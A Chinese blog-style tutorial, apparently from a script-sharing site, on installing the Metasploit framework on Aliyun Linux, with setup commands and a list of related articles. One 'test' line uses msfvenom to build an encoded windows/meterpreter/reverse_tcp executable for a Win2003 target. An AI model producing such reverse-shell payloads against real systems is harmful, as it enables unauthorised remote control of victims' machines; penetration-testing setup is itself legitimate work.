linux系統(tǒng)安裝msf的過程詳解
還是自己寫下安裝過程吧!
我的服務(wù)器系統(tǒng)是 Aliyun linux
1、下載安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall可能報(bào)錯(cuò):Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因?yàn)榘惭b庫的問題!
解決方法:
yum install -y epel-release
然后再重復(fù)上面那條命令!2、添加新用戶運(yùn)行msf
adduser msf #添加msf用戶
su msf #切換到msf用戶
cd /opt/metasploit-framework/bin #切換到msf所在的目錄
./msfconsole
#以后啟動(dòng)msfconsole,都切換到msf用戶下啟動(dòng),這樣會同步數(shù)據(jù)庫。
如果使用root用戶啟動(dòng)的話,不會同步數(shù)據(jù)庫!
(啟動(dòng)索引已經(jīng)默認(rèn)配好了!)
直接 msfconsole 就可以啟動(dòng)了!
#相關(guān)命令 [msf@xxxx root]$ msf msfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom #數(shù)據(jù)庫初始化 [msf@xxxx root]$ msfdb Commands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component
#測試: e.g.我的虛擬主機(jī)是 Win2003(目標(biāo)機(jī)) msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe
注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個(gè)坑折騰好久?。?!吐血?。?!]

ps:linux系統(tǒng)下安裝msf框架
命令:
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run chmod 755 metasploit-latest-linux-installer.run ./metasploit-latest-linux-installer.run
等待運(yùn)行結(jié)束即可。關(guān)鍵地方按回車和Y即可。
總結(jié)
到此這篇關(guān)于linux系統(tǒng)安裝msf的過程詳解的文章就介紹到這了,更多相關(guān)linux系統(tǒng)安裝msf內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
linux下實(shí)現(xiàn)VPS免費(fèi)備份腳本
因?yàn)楸綽olg是架設(shè)在vps上的,空間商又沒有提供備份的功能,所以說哪天vps掛了,我的網(wǎng)站也就跟著掛了2012-05-05
linux下多個(gè)硬盤劃分到同一掛載點(diǎn)問題
在Linux系統(tǒng)中,將多個(gè)硬盤劃分到同一掛載點(diǎn)需要通過邏輯卷管理(LVM)來實(shí)現(xiàn),首先,需要將物理存儲設(shè)備(如硬盤分區(qū))創(chuàng)建為物理卷,然后,將這些物理卷組成邏輯卷組,接著,從邏輯卷組中劃分出邏輯卷,并進(jìn)行格式化和掛載2025-02-02
Linux下監(jiān)視NVIDIA的GPU使用情況詳解
這篇文章主要介紹了Linux下監(jiān)視NVIDIA的GPU使用情況詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-09-09
linux網(wǎng)絡(luò)參數(shù)配置方法詳解
這篇文章主要介紹了linux網(wǎng)絡(luò)參數(shù)的配置方法,這樣可以讓你的服務(wù)器訪問網(wǎng)絡(luò),主要參數(shù):IP地址、子網(wǎng)掩碼、網(wǎng)關(guān)、DNS2013-11-11
用DNSPod和Squid打造自己的CDN (六) 編譯并安裝Squid
這篇文章主要介紹centos下編譯并安裝Squid的方法,需要的朋友可以參考下2013-04-04
Ubuntu/Debian 自有軟件包構(gòu)建私有源詳解
這篇文章主要介紹了Ubuntu/Debian 自有軟件包構(gòu)建私有源詳解的相關(guān)資料,這里介紹詳細(xì)步驟,需要的朋友可以參考下2016-11-11

